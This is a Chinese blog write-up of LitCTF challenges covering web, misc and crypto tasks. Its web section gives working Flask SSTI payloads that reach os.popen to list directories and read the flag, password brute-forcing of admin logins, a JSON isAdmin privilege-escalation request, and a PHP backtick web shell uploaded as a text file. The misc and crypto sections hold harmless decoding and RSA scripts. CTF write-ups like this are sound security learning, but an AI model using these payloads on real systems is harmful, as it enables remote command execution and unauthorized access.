Litctf

Web

星愿信箱

打开题目

一个大大的输入框,且是Python的Flask框架,应该是存在注入漏洞,测试了一下是ssti,不过被ban了很多字符

以Flask内置的 lipsum 函数作为攻击入口进行ssti注入

用lipsum.__globals__能够获取到 lipsum 函数所在模块的全局命名空间->通过.__builtins__访问Python 的内置函数和变量->用.__import__('os')动态地导入os模块->调用os.popen执行系统命令->定义执行的系统命令)->读取命令执行结果,因为这里存在无回显,所以需要print打印回显

1.查看目录:{%print ((lipsum.__globals__.__builtins__.__import__('os')).popen('ls /')).read()%}

2.读取flag文件(这里cat命令被ban了,换nl命令):{%print ((lipsum.__globals__.__builtins__.__import__('os')).popen('nl /flag')).read()%}

nest_js

打开题目

试了试啥反应没有,直接BP爆破admin密码

发intruder选字典进行攻击

爆出admin密码password

登录

多重宇宙日记

打开题目

需要提管理员权限,注册账号开始json提权

构造包含isAdmin: true的JSON数据提权

{
  "settings": {
    "isAdmin": true
  }
}

出现管理员面板,点开

easy_file

打开题目出现登录面板

还是BP抓包爆破管理员密码,不过这里前端进行了base编码,BP爆破改成base编码爆破就行

密码为password,登录

这里允许上传txt文件和jpg文件,而且扫出来有个admin.php可以访问,新建一个txt文件写入恶意命令(当然jpg也行),这里?>,所有命令执行函数都被ban了,用PHP 的短标签<?=(等价于 <?php echo ...; ?>),再用反引号绕过。

由此构造命令查看目录

<?=`ls `?>

知晓flag目录为flllag.php,换命令读flag文件

<?=`cat flllag.php `?>

Misc

灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄

打开题目获取灵感菇密文,查看源代码发现github地址https://github.com/ProbiusOfficial/Lingicrypt

访问得到编码方式

编写脚本进行解密

import re
from collections import Counter

# 输入的灵感菇编码字符串
encoded = "获得的灵感菇编码"


# Step 1: 分割
def split_encoded_text(encoded):
    # 去除头部和尾部的固定格式
    cleaned = encoded.replace("🍄灵感菇说:灵感菇🍄", "").replace("🍄灵感菇🍄", "").replace("灵感菇", "")
    return cleaned


# Step 2: 最长匹配解析
def longest_match_analysis(cleaned):
    # 提取所有可能的 token
    tokens = re.findall(r'哇擦|哩|菇', cleaned)
    return tokens


# Step 3: 三进制重组
def ternary_reconstruction(tokens):
    # 定义 token 到三进制的映射
    token_to_ternary = {
        '菇': '0',
        '哩': '1',
        '哇擦': '2'
    }
    # 将 tokens 转换为三进制字符串
    ternary_str = ''.join([token_to_ternary[token] for token in tokens])
    return ternary_str


# Step 4: 码点还原
def codepoint_reconstruction(ternary_str):
    # 将三进制字符串按每13位分割(覆盖全 Unicode)
    chunks = [ternary_str[i:i + 13] for i in range(0, len(ternary_str), 13)]
    decoded_chars = []
    for chunk in chunks:
        if chunk:
            # 将三进制转换为十进制
            codepoint = int(chunk, 3)
            # 验证码点是否有效
            if 0 <= codepoint <= 0x10FFFF:
                decoded_chars.append(chr(codepoint))
    return ''.join(decoded_chars)


# 主函数
def main():
    # Step 1: 分割
    cleaned = split_encoded_text(encoded)

    # Step 2: 最长匹配解析
    tokens = longest_match_analysis(cleaned)

    # Step 3: 三进制重组
    ternary_str = ternary_reconstruction(tokens)

    # Step 4: 码点还原
    decoded_text = codepoint_reconstruction(ternary_str)

    print("解密结果:", decoded_text)


if __name__ == "__main__":
    main()

运行解出flag

Cropping

下载附件是个压缩包,解压需要密码,主播之前遇到过这种,猜测是伪加密,直接把压缩包给随波逐流工具进行修复,解压修复后的压缩包发现是一百张二维码碎片,写个脚本将二维码组合

from PIL import Image
import os

def stitch_images_in_grid(folder_path, output_path):
    # 获取所有图片文件并排序
    image_files = [f for f in os.listdir(folder_path) if f.lower().endswith(('.png', '.jpg', '.jpeg'))]
    image_files.sort()  # 按文件名排序,确保顺序正确

    if len(image_files) != 100:
        raise ValueError("文件夹中必须恰好包含 100 张图片")

    # 打开第一张图片,获取统一尺寸
    first_image = Image.open(os.path.join(folder_path, image_files[0]))
    tile_width, tile_height = first_image.size

    # 创建拼接后的空白图像
    result = Image.new('RGB', (tile_width * 10, tile_height * 10))

    # 依次读取并粘贴图片
    for i, filename in enumerate(image_files):
        img = Image.open(os.path.join(folder_path, filename))
        img = img.resize((tile_width, tile_height))  # 统一尺寸

        row = i // 10
        col = i % 10
        x = col * tile_width
        y = row * tile_height

        result.paste(img, (x, y))

    # 保存最终图像
    result.save(output_path)
    print(f"拼接完成,结果已保存至: {output_path}")

# 示例调用
stitch_images_in_grid(
    folder_path=r"C:\Users\*****",#二维码碎片文件夹地址
    output_path="stitched_result.jpg"
)

运行在脚本文件夹下得到拼好后的二维码

扫码得到flag

Crypto

basic

附件放AI一把梭

from Crypto.Util.number import long_to_bytes, inverse

n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505

phi = n - 1
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m).decode())

ez_math

这里也是AI一把梭,不过脚本pycharm跑不了,需要SageMath,因为脚本需要sage模块

from sage.all import *
#你的密文
e = 65537
p = 8147594556101158967571180945694180896742294483544853070485096002084187305007965554901340220135102394516080775084644243545680089670612459698730714507241869
B = [[2155477851953408309667286450183162647077775173298899672730310990871751073331268840697064969968224381692698267285466913831393859280698670494293432275120170, 4113196339199671283644050914377933292797783829068402678379946926727565560805246629977929420627263995348168282358929186302526949449679561299204123214741547], [3652128051559825585352835887172797117251184204957364197630337114276860638429451378581133662832585442502338145987792778148110514594776496633267082169998598, 2475627430652911131017666156879485088601207383028954405788583206976605890994185119936790889665919339591067412273564551745588770370229650653217822472440992]]

# 定义有限域GF(p)
F = GF(p)

# 提取矩阵B的元素并转换为有限域元素
B00 = F(B[0][0])
B01 = F(B[0][1])
B10 = F(B[1][0])
B11 = F(B[1][1])

# 计算行列式detB和迹tr_B
detB = B00 * B11 - B01 * B10
tr_B = B00 + B11

# 计算e的模逆元d_prime
d_prime = inverse_mod(e, p-1)
detA = detB**d_prime  # 直接使用有限域的幂运算

# 解B的特征方程 λ² - tr_B*λ + detB ≡ 0 (mod p)
D = tr_B**2 - 4*detB
sqrt_D = D.sqrt()  # 在有限域内计算平方根
lambda1 = (tr_B + sqrt_D) / F(2)
lambda2 = (tr_B - sqrt_D) / F(2)

# 计算矩阵A的特征值μ1和μ2(μ^e ≡ λ mod p)
mu1 = lambda1**d_prime
mu2 = lambda2**d_prime

# 验证行列式一致性
assert mu1 * mu2 == detA, "行列式不匹配"

# 恢复矩阵A的元素b和c
k_e = (lambda1 - lambda2) / (mu1 - mu2)
b = B01 / k_e
c = B10 / k_e
term = (B01 * B10) / (k_e**2)

# 构建二次方程求解a(flag)
R.<a> = PolynomialRing(F)
quad_eq = a**2 - (mu1 + mu2)*a + (detA + term)
roots = quad_eq.roots()

# 遍历可能的根并转换字节
for root, _ in roots:
    flag_int = int(root)
    flag_bytes = bytes.fromhex(f"{flag_int:x}")
    if b'LitCTF{' in flag_bytes:
        print(flag_bytes.decode())
        break

这里顺便说说SageMath如何下载安装使用

先进入SageMath官网:https://www.sagemath.org/download.html

选中国

下载需要的版本,我这里是Windows

下载后选择需要的目录安装,这里安装后会桌面会有三个图标

用SageMatn 9.3 Console就行

接下来如果你的python中的用到Crypto模块,通常会出现这种错误:No module named 'cropty',意思是未安装cropty模块

需要用pip install crypto,当然直接用不行,接下来访问这个目录(D:\SageMath\SageMath 9.3\runtime\opt\sagemath-9.3\local\lib\python3.7\site-packages\crypto)/具体看你的安装目录/

打开_int_.py文件,开始这里是空的,把下面代码填入保存

__all__ = ['Cipher', 'Hash', 'Protocol', 'PublicKey', 'Util', 'Signature',
           'IO', 'Math']
 
version_info = (3, 20, '0')
 
__version__ = ".".join([str(x) for x in version_info])

重启再pip install crypto就行了

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇